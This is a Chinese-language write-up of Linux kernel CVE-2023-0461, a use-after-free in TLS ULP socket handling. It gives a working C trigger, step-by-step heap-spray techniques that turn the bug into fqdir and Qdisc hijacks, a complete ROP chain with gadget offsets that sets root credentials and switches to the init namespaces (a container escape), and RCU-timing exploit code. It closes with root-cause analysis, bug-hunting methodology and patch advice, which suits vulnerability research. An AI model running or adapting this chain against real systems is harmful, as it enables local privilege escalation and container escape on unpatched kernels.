CVE-2023-0461 Linux 内核 UAF 漏洞分析与漏洞利用解读
字数 2266 2025-08-18 11:36:36
Linux内核CVE-2023-0461 UAF漏洞分析与利用技术详解
漏洞概述
CVE-2023-0461是Linux内核中一个存在于TCP ULP(Upper Layer Protocol)处理机制中的Use-After-Free漏洞。该漏洞源于内核在处理icsk->icsk_ulp_data指针时存在错误,导致多个socket对象可以共享同一个ULP数据指针而不进行引用计数管理,从而在释放其中一个socket时产生悬垂指针。
漏洞技术分析
漏洞根源
漏洞的核心在于icsk->icsk_ulp_data指针的拷贝和释放机制:
-
指针分配:通过
tcp_set_ulp->__tcp_set_ulp->tls_init->tls_ctx_create路径分配ULP数据ctx = kzalloc(sizeof(*ctx), GFP_ATOMIC); rcu_assign_pointer(icsk->icsk_ulp_data, ctx); -
指针拷贝:当socket设置ULP后进入listen状态,其他socket通过connect请求连接时,新创建的sk对象会拷贝
icsk->icsk_ulp_data指针tcp_v4_syn_recv_sock tcp_create_openreq_child inet_csk_clone_lock sk_clone_lock newsk = sk_prot_alloc(prot, priority, sk->sk_family) sock_copy(newsk, sk) memcpy(&nsk->sk_dontcopy_end, &osk->sk_dontcopy_end, prot->obj_size - offsetof(struct sock, sk_dontcopy_end)); -
结构关系:
struct proto tcp_prot定义了.obj_size = sizeof(struct tcp_sock)tcp_sock包含inet_connection_sock,后者包含icsk_ulp_data指针- 通过
memcpy拷贝sk_dontcopy_end后面的成员时会拷贝icsk->icsk_ulp_data
漏洞触发条件
- 创建一个socket并设置TCP ULP为"tls"
- 使该socket进入listen状态
- 另一个socket发起connect请求
- 新创建的socket会拷贝原始socket的
icsk_ulp_data指针 - 关闭其中一个socket会导致另一个socket持有悬垂指针
POC代码分析
int tls_ctx_alloc(int port) {
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
int tls, s;
tls = socket(AF_INET, SOCK_STREAM, 0);
s = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
bind(s, &addr, sizeof(addr));
listen(s, 0);
connect(tls, &addr, sizeof(addr));
accept(s, &addr, &len);
setsockopt(tls, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));
return tls;
}
int clone_ulp(int sk, int port) {
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
int s, new;
s = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_UNSPEC;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
connect(sk, &addr, sizeof(addr));
addr.sin_family = AF_INET;
bind(sk, &addr, sizeof(addr));
listen(sk, 0);
connect(s, &addr, sizeof(addr));
new = accept(sk, &addr, &len);
return new;
}
// 使用示例
tls1 = tls_ctx_alloc(1111);
tls2 = clone_ulp(tls1, 1112);
执行后,tls1和tls2会指向同一个icsk_ulp_data指针。
漏洞利用技术
简单模式(仅启用kmalloc-cg)
-
利用思路:
- 目标内核在
kmalloc-cg-xxx中分配GFP_KERNEL_ACCOUNT标记的请求 - 无法使用
msg_msg、sk_buff等常用对象占位 - 使用
fuse + setxattr方式占位
- 目标内核在
-
利用步骤:
- 占位后利用
setsockopt往释放的tls_context(占位后的xattr内存)写入函数指针 - fuse放行并读取xattr泄露内核基地址
- 再次触发漏洞,修改
tls_context的函数指针实现ROP
- 占位后利用
高级模式(启用CONFIG_KMALLOC_SPLIT_VARSIZE)
-
利用思路:
- 将
tls_context的UAF转换为fqdir的UAF - 利用
fqdir对象中的指针(fqdir->rhashtable.tbl)实现dyn-kmalloc-1k的UAF - 用
user_key_payload占位将kmalloc-512的UAF转换为dyn-kmalloc-1024的UAF - 用
Qdisc对象占位user_key_payload - 读取
user_key_payload泄露地址 - 释放key后重新占位控制
Qdisc,劫持qdisc->enqueue实现ROP
- 将
-
关键技巧:
- 绕过RCU临界区检测:设置
current->rcu_read_lock_nesting = 0 - 绕过原子上下文检测:设置
oops_in_progress = 1
- 绕过RCU临界区检测:设置
-
完整ROP链示例:
rop = (uint64_t *)&data[0x88];
// oops_in_progress = 1 (Bypass schedule while atomic)
rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = 1; // 1
rop[idx++] = kbase + 0xffffffff810fb7dd; // pop rsi ; ret
rop[idx++] = kbase + 0xffffffff8419f478; // oops_in_progress
rop[idx++] = kbase + 0xffffffff81246359; // mov qword ptr [rsi], rdi ; jmp 0xffffffff82404440 (retpoline)
// creds = prepare_kernel_cred(0)
rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = 0; // 0
rop[idx++] = kbase + 0xffffffff811139d0; // prepare_kernel_cred
// commit_creds(creds)
rop[idx++] = kbase + 0xffffffff811e3633; // pop rcx ; ret
rop[idx++] = 0; // 0
rop[idx++] = kbase + 0xffffffff8204933b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = kbase + 0xffffffff811136f0; // commit_creds
// current = find_task_by_vpid(getpid())
rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = getpid(); // pid
rop[idx++] = kbase + 0xffffffff8110a0d0; // find_task_by_vpid
// current += offsetof(struct task_struct, rcu_read_lock_nesting)
rop[idx++] = kbase + 0xffffffff810fb7dd; // pop rsi ; ret
rop[idx++] = 0x46c; // offsetof(struct task_struct, rcu_read_lock_nesting)
rop[idx++] = kbase + 0xffffffff8107befa; // add rax, rsi ; jmp 0xffffffff82404440 (retpoline)
// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
rop[idx++] = kbase + 0xffffffff811e3633; // pop rcx ; ret
rop[idx++] = 0; // 0
rop[idx++] = kbase + 0xffffffff8167104b; // mov qword ptr [rax], rcx ; jmp 0xffffffff82404440 (retpoline)
// task = find_task_by_vpid(1)
rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = 1; // pid
rop[idx++] = kbase + 0xffffffff8110a0d0; // find_task_by_vpid
// switch_task_namespaces(task, init_nsproxy)
rop[idx++] = kbase + 0xffffffff811e3633; // pop rcx ; ret
rop[idx++] = 0; // 0
rop[idx++] = kbase + 0xffffffff8204933b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = kbase + 0xffffffff810fb7dd; // pop rsi ; ret
rop[idx++] = kbase + 0xffffffff83661680; // init_nsproxy (from parse_mount_options)
rop[idx++] = kbase + 0xffffffff81111c80; // switch_task_namespaces
// Back to userspace
rop[idx++] = kbase + 0xffffffff822010c6; // swapgs_restore_regs_and_return_to_usermode + 54
rop[idx++] = 0;
rop[idx++] = 0;
rop[idx++] = (uint64_t)&getroot;
rop[idx++] = usr_cs;
rop[idx++] = usr_rflags;
rop[idx++] = (uint64_t)(stack + 0x80000);
rop[idx++] = usr_ss;
漏洞挖掘方法论
-
关注对象中的指针域:
- 特别关注那些没有引用计数且会发生指针拷贝的指针域
- 这些指针在删除时如果清理不当容易导致UAF
-
分析指针使用点:
- 寻找指针拷贝和指针释放的位置
- 该漏洞的指针拷贝点隐藏在
sk_clone_lock中
-
检查指针释放后的处理:
- 指针释放后,其他对象中的相同指针是否被清空
- 如果没有清空就会导致UAF
漏洞利用通用思路
-
对象转换技巧:
- 将漏洞对象转换为数据对象(xattr、user_key_payload等)
- 用有指针的重叠对象占位数据对象
- 实现将内核地址写入数据对象
- 读取数据对象泄露地址
- 再次释放和分配数据对象,控制重叠对象中的指针
-
间接UAF利用:
- 通过将
tls_context的UAF转换为fqdir对象的UAF - 利用两个指向
fqdir的指针,实现fqdir->rhashtable.tbl对象的间接UAF - 这种技术扩展了利用选择(从
kmalloc-512到dyn-kmalloc)
- 通过将
-
RCU宽限期利用:
// Step 1.0 - Close the first socket // icsk_ulp_data (tls_context) is freed but still accessible from the second socket close(tls1); // Wait for the RCU grace period: // usually sleep(1) is enough, but for tls_context sometimes it takes longer waitfor(6, "Freeing ctx"); // Step 1.1 - Close the second socket and before the icsk_ulp_data pointer (tls_context) // is freed again (during the RCU grace period) replace it with a fqdir object close(tls2); for(int i = 0; i < N_SPRAY_1; i++) task_set_state(t1[i], TASK_SPRAY_FQDIR);close(tls1)后,tls2引用的是已释放的tls_contextclose(tls2)后会把已释放的sk放到RCU链表- 通知堆喷线程开始分配
fqdir占位已释放的tls_context - RCU宽限期到达,释放sk时会释放
fqdir,从而将漏洞转换为fqdir的UAF
防御建议
- 对
icsk->icsk_ulp_data指针添加引用计数管理 - 在
sk_clone_lock中复制ULP数据时进行深拷贝而非指针拷贝 - 及时更新内核到修复版本
- 启用内核防护机制如KASAN、KASLR等